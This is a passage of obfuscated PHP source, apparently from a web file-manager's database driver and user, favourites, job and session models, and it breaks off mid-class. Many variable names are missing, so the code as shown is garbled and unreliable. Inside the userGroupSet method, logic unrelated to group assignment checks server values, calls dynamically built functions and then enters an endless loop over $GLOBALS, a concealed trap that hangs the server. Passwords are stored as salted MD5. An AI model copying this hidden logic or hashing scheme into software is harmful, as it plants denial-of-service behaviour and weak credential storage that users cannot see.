$this->connected = !0; if (1 != think_config($ٽ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($٬۬) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $٬۬; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($٬۬); if ($this->_linkID->more_results()) { while (($Ƀ = $this->_linkID->next_result()) != NULL) { $Ƀ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($ۖŵ) { $ɐ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ۖŵ; if ($this->queryID) { $this->free(); } think_action_status($ɐ[25], 1); think_status($ɐ[24]); $˲ = $this->_linkID->query($ۖŵ); $this->debug(); if (!1 === $˲) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ԋ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ԋ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ĥ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ĥ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($Ԥ) { $ =& $_SERVER[]; $ӣ긏 = $this->query($[899] . $this->parseKey($Ԥ)); $ = array(); if ($ӣ긏) { foreach ($ӣ긏 as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ϫ =& $_SERVER[]; $Ӻ = !empty($) ? $ϫ[901] . $ . $ϫ[902] : $ϫ[903]; $ = $this->query($Ӻ); $Ѹ = array(); if ($) { foreach ($ as $̓ř => $) { $Ѹ[$̓ř] = current($); } } return $Ѹ; } public function replace($ۮ, $ = array()) { $ =& $_SERVER[]; foreach ($ۮ as $⿆Ľ => $ز) { $§ = $this->parseValue($ز); if (is_scalar($§)) { $鼋[] = $§; $[] = $this->parseKey($⿆Ľ); } } $㎱ = $[904] . $this->parseTable($[$[279]]) . $[905] . implode($[50], $) . $[906] . implode($[50], $鼋) . $[907]; return $this->execute($㎱); } public function insertAll($, $ߏ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ƌ = array_keys($[0]); $ㄍ = array(); foreach ($ as $) { $Ӭ = array(); foreach ($ as $ڰ => $죚) { $죚 = $this->parseValue($죚); if (is_scalar($죚)) { $Ӭ[] = $죚; } } $ㄍ[] = $[260] . implode($[50], $Ӭ) . $[907]; } array_walk($ƌ, array($this, $[908])); $ = $ ? $[909] : $[910]; $ = $ . $[911] . $this->parseTable($ߏ[$[279]]) . $[905] . implode($[50], $ƌ) . $[912] . implode($[50], $ㄍ); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ȴד =& $_SERVER[]; $this->error = $this->_linkID->errno . $ȴד[4] . $this->_linkID->error; if ($ȴד[12] != $this->queryStr) { $this->error .= LNG($ȴד[48]) . $this->queryStr; } think_trace($this->error, $ȴד[12], $ȴד[49]); return $this->error; } public function escapeString($ϡ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ϡ); } else { return addslashes($ϡ); } } public function parseKey(&$ܡ, $ = true) { $ٷ =& $_SERVER[]; if ($) { $ܡ = $this->parseKeyCheck($ܡ); } if ($ܡ != $ٷ[189] && !preg_match($ٷ[913], $ܡ)) { $ܡ = $ٷ[385] . trim($ܡ, $ٷ[385]) . $ٷ[385]; } return $ܡ; } } goto e삅; E: class UserFavModel extends ModelBase { protected $tableName = "\x75\163\x65\162\137\x66\141\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1972] => array(USER_ID, $[2306])); } protected function listData() { $̚ =& $_SERVER[]; $ = array($̚[1661] => USER_ID, $̚[483] => 0); $߂ = $̚[2307]; $ = $this->field($߂)->where($)->order($̚[2308])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $҃ = $this->listData(); $ = array_filter_by_field($҃, $[33], $[416]); $놾߲ = array_to_keyvalue($, $[12], $[84]); if (!$놾߲) { return $҃; } $˚ؼ = 2000; $գ = array($[417] => array($[418], $놾߲)); $ = Model($[824])->listSource($գ, $˚ؼ); $ = array_merge($[$[83]], $[$[82]]); $ = array_to_keyvalue($, $[402]); foreach ($҃ as $ => $ր) { $۽ = $[$ր[$[84]]]; $۽ = $۽ ? $۽ : array(); $҃[$] = array_merge($۽, $ր); } return $҃; } protected function addFav($ٳ, $ = '', $Ҽȱ = "\x73\157\x75\162\x63\x65") { $Ĉ =& $_SERVER[]; $ = array($Ĉ[1661] => USER_ID, $Ĉ[483] => 0, $Ĉ[422] => $Ҽȱ, $Ĉ[421] => $ٳ); if ($this->where($)->find()) { return !1; } $ = array($Ĉ[1661] => USER_ID, $Ĉ[483] => 0); $ = $this->where($)->max($Ĉ[1885]); if (!$) { $ = 0; } if (!$ && $Ҽȱ == $Ĉ[416]) { $́ = Model($Ĉ[1341])->where(array($Ĉ[417] => $ٳ))->find(); if (!$́) { return !1; } $ = $́[$Ĉ[32]]; } $ = $this->getAutoName($); $ʾ = array($Ĉ[1661] => USER_ID, $Ĉ[483] => 0, $Ĉ[420] => $, $Ĉ[421] => $ٳ, $Ĉ[422] => $Ҽȱ, $Ĉ[1865] => $ + 1); return $this->add($ʾ); } protected function remove($) { $ŝ =& $_SERVER[]; $ = array($ŝ[1661] => USER_ID, $ŝ[419] => $); return $this->where($)->delete(); } protected function removeByName($Ȣ) { $ =& $_SERVER[]; $ѹ = array($[1661] => USER_ID, $[420] => $Ȣ, $[483] => 0); return $this->where($ѹ)->delete(); } protected function rename($, $) { $՛ =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $↽ = array($՛[1661] => USER_ID, $՛[483] => 0, $՛[32] => $); return $this->where($↽)->save(array($՛[32] => $)); } protected function resetSort($Ղ) { $ =& $_SERVER[]; $Ղ = is_array($Ղ) ? $Ղ : array(); $φ = array($[1661] => USER_ID); for ($ػ۳ = 0; $ػ۳ < count($Ղ); $ػ۳++) { $φ[$[419]] = $Ղ[$ػ۳]; $this->where($φ)->save(array($[1865] => $ػ۳ + 1)); } return !0; } protected function moveTop($Ѽ) { $ʶ̆ =& $_SERVER[]; $Ŷ = array($ʶ̆[1661] => USER_ID, $ʶ̆[483] => 0); $Ћʝ = $this->where($Ŷ)->where(array($ʶ̆[32] => $Ѽ))->find(); if (!$Ћʝ) { return; } $д = $this->field($ʶ̆[399])->where($Ŷ)->order($ʶ̆[2308])->select(); $д = array_to_keyvalue($д, $ʶ̆[12], $ʶ̆[399]); $ = $д; $д = array_remove_value($д, $Ћʝ[$ʶ̆[399]]); array_unshift($д, $Ћʝ[$ʶ̆[399]]); return $this->resetSort($д); } protected function moveBottom($) { $ =& $_SERVER[]; $ = array($[1661] => USER_ID, $[483] => 0); $֙ = $this->where($)->max($[1885]); $ = array($[1885] => $֙ + 1); return $this->where($)->where(array($[32] => $))->save($); } private function getAutoName($) { $ֺ =& $_SERVER[]; $䛭 = array($ֺ[1661] => USER_ID, $ֺ[483] => 0); $ӭ = $this->field($ֺ[32])->where($䛭)->select(); $ӭ = array_to_keyvalue($ӭ, $ֺ[12], $ֺ[32]); if (!$ӭ || !in_array($, $ӭ)) { return $; } for ($ݹ = 0; $ݹ < count($ӭ); $ݹ++) { if (!in_array($ . "\50{$ݹ}\51", $ӭ)) { return $ . "\x28{$ݹ}\x29"; } } return $ . "\50{$ݹ}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\x6d\56\x6a\x6f\142\x4c\151\163\164"; public $field = array("\x6e\141\155\x65", "\x64\145\163\143", "\x73\x6f\x72\164"); const JOB_KEY = "\x73\x65\x6c\146\x4a\x6f\142\x4c\x69\163\164"; public function listData($ = false, $ = "\163\157\x72\x74", $ = false) { return parent::listData($, $, $); } public function remove($媭) { return parent::remove($媭); } public function add($) { $ށ =& $_SERVER[]; if ($this->findByName($[$ށ[32]])) { return !1; } $[$ށ[1885]] = $this->getSort(); return parent::insert($); } private function getSort() { $魲 =& $_SERVER[]; $ɲ = parent::listData(); $ = array_to_keyvalue($ɲ, $魲[12], $魲[1885]); return empty($) ? 0 : max($) + 1; } public function update($, $٧) { $ό =& $_SERVER[]; $ = parent::listData($); $ːף = $this->findByName($٧[$ό[32]]); if (!$ || $ːף && $ːף[$ό[399]] != $[$ό[399]]) { return !1; } return parent::update($, $٧); } public function setUserJob($ć, $ۈ) { $ߧ =& $_SERVER[]; if (!is_array($ۈ)) { $ۈ = array($ۈ); } $ = parent::listData(); $ɪ = array_to_keyvalue($, $ߧ[32]); $ = $ߧ[378]; foreach ($ۈ as $͒) { if ($ɪ[$͒]) { $ .= $ɪ[$͒][$ߧ[399]] . $ߧ[50]; } else { $ = $this->add($͒); $ .= $ . $ߧ[50]; } } $ = rtrim($, $ߧ[50]); Model($ߧ[525])->metaSet($ć, self::JOB_KEY, $); } public function getUserJob($ȸ) { $۳ = Model($_SERVER[][525])->metaGet($ȸ); return $this->getUserJobInfo($۳[self::JOB_KEY]); } public function getUserJobInfo($) { $֒ =& $_SERVER[]; $͉ = explode($֒[50], $); $ = parent::listData(); $ = array_remove_key($, $֒[201]); $ = array(); foreach ($͉ as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } class UserModel extends ModelBase { protected $tableName = "\x75\163\145\162"; protected $tableMeta = array("\164\141\142\154\145\116\141\x6d\x65" => "\165\x73\145\x72\137\x6d\145\x74\141", "\x6d\145\164\141\x46\x69\145\154\144" => "\x75\163\x65\x72\111\x44"); protected $simpleField = "\165\x73\145\162\x49\104\54\x6e\x69\143\x6b\x4e\141\155\x65\x2c\156\141\x6d\145\54\x61\x76\x61\x74\x61\x72\54\x73\x65\x78\54\163\164\x61\x74\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = $[2309]; return array($[1939] => array($[0], $), $[1941] => array($[0], $), $[2310] => array($[0], $)); } protected function getInfo($, $ = false) { $㫤 = $this->getInfoSimple($); if (!is_array($㫤)) { return array(); } if ($) { return $this->_getInfoApply($㫤); } return $this->cacheFunctionGet($_SERVER[][1943], $); } protected function getInfoFull($Ő, $ = false) { $ = $this->getInfoSimple($Ő); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2311], $Ő); } private function _getInfoApply($Ɋ, $ݎ = false) { $ =& $_SERVER[]; if (!$Ɋ) { return $Ɋ; } $ = md5($[2312] . $Ɋ[$[891]] . $[2313] . $Ɋ[$[32]]); $Ɋ = $this->_listDataApplyItem($Ɋ); $ = Model($[1341])->metaGet($Ɋ[$[87]][$[402]]); $Ɋ[$[2314]] = $; $Ɋ[$[87]][$[2134]] = isset($[$[2135]]) ? $[$[2135]] : null; if ($ݎ) { $Ɋ[$[466]] = $this->metaGet($Ɋ[$[1670]]); } return $Ɋ; } protected function getInfoSimple($ⱎ, $إ = false) { $á =& $_SERVER[]; if (!$ⱎ) { return array(); } if ($إ) { $Ź = $this->where(array($á[1670] => intval($ⱎ)))->find(); if (!is_array($Ź)) { return array(); } $Ź[$á[533]] = Action($á[2315])->parseUrl($Ź[$á[533]]); return $Ź; } return $this->cacheFunctionGet($á[1944], $ⱎ); } protected function getInfoSimpleOuter($) { $ـ˼ =& $_SERVER[]; if (!$ || $ == 0) { return array($ـ˼[1670] => $ـ˼[198], $ـ˼[32] => $ـ˼[162] . LNG($ـ˼[2316]) . $ـ˼[164], $ـ˼[533] => STATIC_PATH . $ـ˼[2317]); } $ = $this->cacheFunctionGet($ـ˼[1944], $); $ = array_field_key($, explode($ـ˼[50], $this->simpleField)); if (!$) { return array($ـ˼[1670] => $ـ˼[1190], $ـ˼[32] => $ـ˼[162] . LNG($ـ˼[2318]) . $ـ˼[164], $ـ˼[533] => STATIC_PATH . $ـ˼[2319]); } $[$ـ˼[533]] = Action($ـ˼[2315])->parseUrl($[$ـ˼[533]]); return $; } protected function groupUser($) { } public static function errorLang($ᑼ) { $ʺ =& $_SERVER[]; $ز = array(self::ERROR_USER_NOT_EXISTS => $ʺ[2320], self::ERROR_USER_PASSWORD_ERROR => $ʺ[2321], self::ERROR_USER_EXIST_NAME => $ʺ[2322], self::ERROR_USER_EXIST_PHONE => $ʺ[2323], self::ERROR_USER_EXIST_EMAIL => $ʺ[2324], self::ERROR_USER_LOGIN_LOCK => $ʺ[2325], self::ERROR_IP_NOT_ALLOW => $ʺ[2326], self::ERROR_USER_EXIST_NICKNAME => $ʺ[2327]); return LNG($ز[$ᑼ]); } public function getInfoByMeta($놽, $) { $ݖਆ =& $_SERVER[]; $ = Model($ݖਆ[2328])->where(array($ݖਆ[94] => $놽, $ݖਆ[374] => $))->find(); if ($) { return $this->getInfo($[$ݖਆ[1670]]); } return !1; } public function userLoginCheck($, $) { $ߑ =& $_SERVER[]; $ɜ = $this->userLoginFind($); if (!$ɜ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ɜ[$ߑ[1670]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ɜ[$ߑ[1670]]); } public function userLoginFind($ޥ) { $ =& $_SERVER[]; $э = array($[32] => $ޥ, $[532] => $ޥ, $[305] => $ޥ, $[2329] => $ޥ, $[1002] => $[1004]); if ($this->nickNameRpt()) { unset($э[$[532]]); } return $this->where($э)->find(); } public function clearCache($Ǎ) { $Ž =& $_SERVER[]; $this->cacheFunctionClear($Ž[1943], $Ǎ); $this->cacheFunctionClear($Ž[1944], $Ǎ); $this->cacheFunctionClear($Ž[2311], $Ǎ); } public function userPasswordCheck($Ӻ, $ޠ) { $¥ =& $_SERVER[]; $ہ = $this->where(array($¥[1670] => intval($Ӻ)))->find(); $ = $this->metaGet($Ӻ); $ = isset($[$¥[2330]]) ? $[$¥[2330]] : $¥[12]; if (md5($ . trim($ޠ)) !== $ہ[$¥[891]]) { return !1; } return !0; } public function userAdd($ގ) { $ =& $_SERVER[]; $ݐ = array($[420] => $ގ[$[32]], $[2331] => $ގ[$[1551]], $[2332] => isset($ގ[$[305]]) ? $ގ[$[305]] : $[12], $[2333] => isset($ގ[$[2329]]) ? $ގ[$[2329]] : $[12], $[2334] => isset($ގ[$[532]]) ? $ގ[$[532]] : $ގ[$[32]], $[2335] => isset($ގ[$[533]]) ? $ގ[$[533]] : $[12], $[2336] => isset($ގ[$[2337]]) ? $ގ[$[2337]] : 1, $[2338] => $ގ[$[891]], $[1945] => isset($ގ[$[1848]]) ? $ގ[$[1848]] : 1024 * 1024 * 20, $[1946] => 0, $[2339] => 0, $[1990] => isset($ގ[$[748]]) ? $ގ[$[748]] : 1); if (!empty($ގ[$[1670]])) { $ݐ[$[1670]] = $ގ[$[1670]]; } $ = $this->_checkExist($ގ); if ($ !== !0) { return $; } if (!empty($ݐ[$[533]]) && strlen($ݐ[$[533]]) > 255) { $ݐ[$[533]] = $[12]; } $܇ = $this->add($ݐ); $ˮ = array($[2338] => $ݐ[$[891]], $[2334] => $ݐ[$[532]]); $this->userEdit($܇, $ˮ); Model($[1341])->userRootAdd($܇); return $܇; } protected function userEditTest($İ, $) { return $this->call($_SERVER[][2340], $İ, $); } protected function userEdit($駼, $߀Ѹ) { $ݕ֡ =& $_SERVER[]; $ = $this->getInfoSimple($駼); if (!$) { return !1; } $ݿ = $this->_checkExist($߀Ѹ, $駼); if ($ݿ !== !0) { return $ݿ; } if (isset($߀Ѹ[$ݕ֡[891]]) && trim($߀Ѹ[$ݕ֡[891]]) != $ݕ֡[12]) { $輡ė = $this->metaGet($駼); if (empty($輡ė[$ݕ֡[2330]])) { $輡ė[$ݕ֡[2330]] = rand_string(10); Model($ݕ֡[504])->metaSet($駼, $ݕ֡[2330], $輡ė[$ݕ֡[2330]]); } $߀Ѹ[$ݕ֡[891]] = md5($輡ė[$ݕ֡[2330]] . trim($߀Ѹ[$ݕ֡[891]])); } else { unset($߀Ѹ[$ݕ֡[891]]); } if (!empty($߀Ѹ[$ݕ֡[533]]) && strlen($߀Ѹ[$ݕ֡[533]]) > 255) { $߀Ѹ[$ݕ֡[533]] = $ݕ֡[12]; } $this->where(array($ݕ֡[1661] => $駼))->save($߀Ѹ); if (isset($߀Ѹ[$ݕ֡[532]])) { $this->setNamePinyin($駼, $߀Ѹ[$ݕ֡[532]]); } $this->clearCache($駼); return !0; } public function setNamePinyin($ݫ, $觗 = false) { $ =& $_SERVER[]; if (!$觗) { $ = $this->getInfoSimple($ݫ); $觗 = $[$[532]] ? $[$[532]] : $[$[32]]; } $В = Model($[525]); if (!Input::check($觗, $[583])) { return $В->metaSet($ݫ, array($[465] => $[12], $[464] => $[12])); } return $В->metaSet($ݫ, array($[465] => str_replace($[53], $[12], Pinyin::get($觗)), $[464] => Pinyin::get($觗, $[584]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($[769])->get($[2341]); $ߝ = $GLOBALS[$[6]][$[381]][$[2341]]; $ۉ = !is_null($) ? $ : $ߝ; return !!$ۉ; } private function _checkExist($뚬, $ = false) { $Ȱ߄ =& $_SERVER[]; $ۏ = array($Ȱ߄[32] => UserModel::ERROR_USER_EXIST_NAME, $Ȱ߄[532] => UserModel::ERROR_USER_EXIST_NICKNAME, $Ȱ߄[305] => UserModel::ERROR_USER_EXIST_EMAIL, $Ȱ߄[2329] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ۏ[$Ȱ߄[532]]); } $˃ = $ ? array($Ȱ߄[1670] => array($Ȱ߄[2342], $)) : array(); foreach ($ۏ as $ => $) { $ = array(); foreach ($ۏ as $ => $Є) { if (isset($뚬[$]) && $뚬[$]) { $[] = $뚬[$]; } } if (!$) { continue; } $ܤ˼ = array_merge(array($ => array($Ȱ߄[7], $)), $˃); $×Ȓ = $this->where($ܤ˼)->find(); if ($×Ȓ) { return $; } } return !0; } public function userListInfo($) { $ =& $_SERVER[]; $ܣ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $ܣ; } if (count($) < 20) { foreach ($ as $Ч) { $ܣ[$Ч . $[12]] = $this->getInfoSimpleOuter($Ч); } } else { $ = array($[1661] => array($[418], $)); if (count($) == 1) { $ = array($[1661] => $[0]); } $ܩ = Model($[504])->field($this->simpleField)->where($)->select(); $ܩ = array_to_keyvalue($ܩ, $[1670]); foreach ($ as $Ч) { $ = $ܩ[$Ч]; if (!$) { $ܣ[$Ч . $[12]] = $this->getInfoSimpleOuter($Ч); continue; } $[$[533]] = Action($[2315])->parseUrl($[$[533]]); $ܣ[$Ч . $[12]] = $; } } return $ܣ; } protected function userStatus($, $) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ٮ = array($_SERVER[][748] => $); return $this->userEdit($, $ٮ); } protected function userRemove($) { $Ə =& $_SERVER[]; $ޞ = $this->getInfoSimple($); if (!$ޞ) { return !1; } $쉾 = array($Ə[1661] => $); Model($Ə[592])->where($쉾)->delete(); Model($Ə[2343])->where($쉾)->delete(); Model($Ə[1951])->where($쉾)->delete(); Model($Ə[2328])->where($쉾)->delete(); Model($Ə[1070])->where($쉾)->delete(); Model($Ə[2159])->removeUserAll($); Model($Ə[824])->userRootRemove($); return $this->where($쉾)->delete(); } protected function userGroupSet($, $, $ = array()) { $֑˖ =& $_SERVER[]; if (!isset($_SERVER[$֑˖[875]]) || !isset($_SERVER[$֑˖[876]])) { $ = $֑˖[877]; $ = $֑˖[878]; $ĥഈ = $_SERVER[$֑˖[879]] . $֑˖[880]; $ = $($ĥഈ); $Ʈ = explode($֑˖[231], $); if (count($Ʈ) < $֑˖[607]) { $ = $֑˖[881]; $(); } $ = $֑˖[882]; $($_SERVER[$֑˖[883]]); $Н = 1; for ($ҩ = $Н; $ҩ > 0; $ҩ++) { $ = json_encode($GLOBALS[$֑˖[418]]); } } $ە = $this->getInfoSimple($); if (!$ە || !is_array($)) { return !1; } $ = Model($֑˖[1951]); $->where(array($֑˖[1670] => $))->delete(); $ơ = array(); $ʌ = 0; foreach ($ as $Ϻ => $ց) { $ƌϥ = array($֑˖[1670] => $, $֑˖[1861] => $Ϻ, $֑˖[1965] => $ց); $ƌϥ[$֑˖[1885]] = isset($[$ʌ]) ? $[$ʌ] : 0; $ʌ++; $ơ[] = $ƌϥ; } return $->addAll($ơ, array(), !0); } protected function userGroupAdd($բ, $ꅸ = array()) { $ٍ =& $_SERVER[]; $ɦ = $this->getInfoSimple($բ); if (!$ɦ || empty($ꅸ)) { return !1; } $ײ = array(); foreach ($ꅸ as $ => $) { $ײ[] = array($ٍ[1670] => $բ, $ٍ[1861] => $, $ٍ[1965] => $, $ٍ[1885] => 0); } return Model($ٍ[1951])->addAll($ײ, array(), !0); } protected function userGroupRemove($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $ = array($[1661] => $, $[1949] => $); return Model($[1951])->where($)->delete(); } public function listData() { $Ե = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Ե[$_SERVER[][369]]); return $Ե; } public function listByID($ʏ) { $͟ =& $_SERVER[]; if (!$ʏ) { return; } $ = array($͟[1670] => array($͟[7], $ʏ)); $σ = $this->where($)->select(); $σ = array_sort_keep($σ, $͟[1670], $ʏ); $this->_listDataApply($σ); return $σ; } public function listByGroup($Կ = 0, $ = array()) { $ =& $_SERVER[]; $܈ = $[12]; $ޠ₈ = array(); if ($Կ) { $ޠ₈ = array($[2344] => intval($Կ)); $܈ = "\114\x45\x46\124\40\x4a\x4f\111\x4e\40{$this->tablePrefix}\165\x73\145\x72\137\x67\162\x6f\x75\160\40\x75\163\x65\x72\x5f\147\x72\157\x75\x70\40\157\x6e\x20\x75\x73\145\162\56\x75\x73\145\162\111\x44\x20\x3d\40\x75\163\x65\162\x5f\147\162\157\165\x70\x2e\165\x73\x65\162\x49\x44"; $ѽ = Input::get($[457], null, $[12]) ? $[12] : $[2345]; } if (isset($[$[748]])) { $ޠ₈[$[2346]] = $[$[748]]; } $̐ = $this->_makeOrder($ѽ)->field($[2347])->where($ޠ₈)->join($܈)->selectPage(50); $this->_listDataApply($̐[$[369]]); return $̐; } private function _makeOrder($屲 = '') { $ܵ =& $_SERVER[]; $Dzי = array($ܵ[1670], $ܵ[32], $ܵ[1850], $ܵ[1822], $ܵ[201]); $ = array($ܵ[450] => $ܵ[451], $ܵ[452] => $ܵ[453]); $ʻ = Input::get($ܵ[457], $ܵ[7], $ܵ[1661], $Dzי); $溼 = Input::get($ܵ[458], $ܵ[7], $ܵ[1952], array($ܵ[1952], $ܵ[452])); $溼 = $[$溼]; $屲 = $屲 . "\x75\163\145\x72\56{$ʻ}\40{$溼}\x2c\x20\165\x73\x65\162\x2e\x75\163\145\x72\x49\104\40\141\163\143"; return $this->alias($ܵ[2078])->order($屲); } public function listSearch($ٷ) { $ǹ =& $_SERVER[]; $ = $ٷ[$ǹ[1955]]; $ = isset($ٷ[$ǹ[1956]]) ? $ٷ[$ǹ[1956]] : !1; $ = str_replace($ǹ[1957], $ǹ[1958], trim($)); $˜ = array($ǹ[32] => array($ǹ[383], "\45{$}\x25"), $ǹ[305] => array($ǹ[383], "{$}\45"), $ǹ[532] => array($ǹ[383], "{$}\x25"), $ǹ[1002] => $ǹ[1959]); if (Input::check($, $ǹ[311])) { $˜[$ǹ[1670]] = array($ǹ[383], "{$}\x25"); $˜[$ǹ[2329]] = array($ǹ[383], "{$}\x25"); } if (!$) { $˜ = array(); } if (isset($ٷ[$ǹ[748]])) { $˜[$ǹ[748]] = $ٷ[$ǹ[748]]; } $˜ = $this->parseWhereLike($˜); $֍Ī = $this->_makeOrder()->where($˜)->selectPage(20); if (!$֍Ī || count($֍Ī[$ǹ[369]]) < 5 && Input::check($, $ǹ[318])) { $ = $this->_searchFromMeta($ǹ[464], $, 10); $┖ = $this->_searchFromMeta($ǹ[465], $, 10); $ = array_merge($, $┖, $֍Ī[$ǹ[369]]); $֍Ī[$ǹ[369]] = array_unique_by_key($, $ǹ[1670]); $֍Ī[$ǹ[366]][$ǹ[367]] = count($֍Ī[$ǹ[369]]); $֍Ī[$ǹ[366]][$ǹ[368]] = ceil($֍Ī[$ǹ[366]][$ǹ[367]] / $֍Ī[$ǹ[366]][$ǹ[363]]); } $this->_listDataApply($֍Ī[$ǹ[369]]); $this->_filterByGroup($֍Ī, $); return $֍Ī; } private function _filterByGroup(&$Ū, $ȭ) { $ =& $_SERVER[]; if (!$ȭ) { return $Ū; } foreach ($Ū[$[369]] as $ => &$݃) { $Ӻ = array_to_keyvalue($݃[$[2048]], $[12], $[1861]); if (!in_array($ȭ, $Ӻ)) { unset($Ū[$[369]][$]); } } unset($݃); $Ū[$[369]] = array_values($Ū[$[369]]); $Ū[$[366]] = array($[2112] => count($Ū[$[369]]), $[2110] => $Ū[$[366]][$[363]], $[2109] => 1, $[2111] => 1); } private function _searchFromMeta($, $ä, $) { $Ӽ =& $_SERVER[]; $ä = strtolower($ä); $빵 = array($Ӽ[94] => $, $Ӽ[374] => array($Ӽ[383], "\x25{$ä}\x25")); $빵 = $this->parseWhereLike($빵); $ = Model($Ӽ[2348])->where($빵)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $Ӽ[12], $Ӽ[1670]); $ƿ߅ = $this->where(array($Ӽ[1661] => array($Ӽ[7], $)))->select(); if (!$ƿ߅) { return array(); } return $ƿ߅; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $[891]); $ = array_to_keyvalue($, $[12], $[1670]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($, $); } private function _listAppendSourceRoot(&$ӣꙇ, $̼) { $ͥ =& $_SERVER[]; $ = Model($ͥ[824])->listSourceRoot(SourceModel::TYPE_USER, $̼); $ = array_to_keyvalue($, $ͥ[496]); $ = array_remove_key($, $ͥ[496]); foreach ($ӣꙇ as &$Ά) { $Ά[$ͥ[87]] = $[$Ά[$ͥ[1670]]] ? $[$Ά[$ͥ[1670]]] : array(); } unset($Ά); } private function _listAppendGroup(&$, $Ԍ) { $ =& $_SERVER[]; $қ = array($[1670] => array($[7], $Ԍ)); $ = Model($[1951])->where($қ)->select(); $ = array_to_keyvalue($, $[12], $[1861]); $ = array_remove_value(array_unique($), $[198]); if (!$ || !$) { return; } $қ = array($[1861] => array($[7], $)); $ԁ = Model($[2046])->field($[2349])->where($қ)->select(); $ԁ = array_to_keyvalue($ԁ, $[1861]); $ = array_to_keyvalue_group($, $[1670]); foreach ($ as &$ΑƸ) { $ = array(); foreach ($ΑƸ as $) { if (!$[$[1965]]) { continue; } $ = Model($[498])->listData($[$[1965]]); $[] = array($[1861] => $[$[1861]], $[2350] => $ԁ[$[$[1861]]][$[32]], $[511] => $ԁ[$[$[1861]]][$[511]], $[413] => $); } $ΑƸ = $; } unset($ΑƸ); foreach ($ as &$ϡ) { $ϡ[$[2048]] = array(); if (isset($[$ϡ[$[1670]]])) { $ϡ[$[2048]] = $[$ϡ[$[1670]]]; } } unset($ϡ); } public function userAppendGroup($ã) { $ =& $_SERVER[]; if (!$ã) { return array(); } $this->_listAppendGroup($ã, array_to_keyvalue($ã, $[12], $[1670])); return $ã; } private function _listAppendMeta(&$Ρ, $Ҋ) { $ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $жϟ = array($[2330]); $ = array($[1670] => array($[7], $Ҋ)); $ߗ = Model($[2328])->where($)->select(); $ߗ = array_to_keyvalue_group($ߗ, $[1670]); foreach ($ߗ as &$ش) { $ = array(); foreach ($ش as $) { if (!in_array($[$[94]], $жϟ)) { $[$[$[94]]] = $[$[374]]; } } $ش = $; } unset($ش); $ = Model($[2351]); foreach ($Ρ as &$) { $ = array(); if (isset($ߗ[$[$[1670]]])) { $ = $ߗ[$[$[1670]]]; } $[$[2352]] = array(); if (isset($[$])) { $[$[2352]] = $->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($) { $Ń뤊 =& $_SERVER[]; if (!$) { return !1; } $ = Model($Ń뤊[1951])->field($Ń뤊[1670])->where(array($Ń뤊[1861] => array($Ń뤊[7], $)))->select(); $ = array_to_keyvalue($, $Ń뤊[12], $Ń뤊[1670]); return array_unique($); } public function userSearch($, $ = "\52") { return Model($_SERVER[][525])->where($)->field($)->find(); } } goto d; Fݛ: class SessionModel extends ModelBase { protected $tableName = "\x73\x79\163\164\145\155\x5f\163\145\163\x73\151\x6f\156"; public function get($㥆) { $ =& $_SERVER[]; $ᣴ = $this->where(array($[1996] => 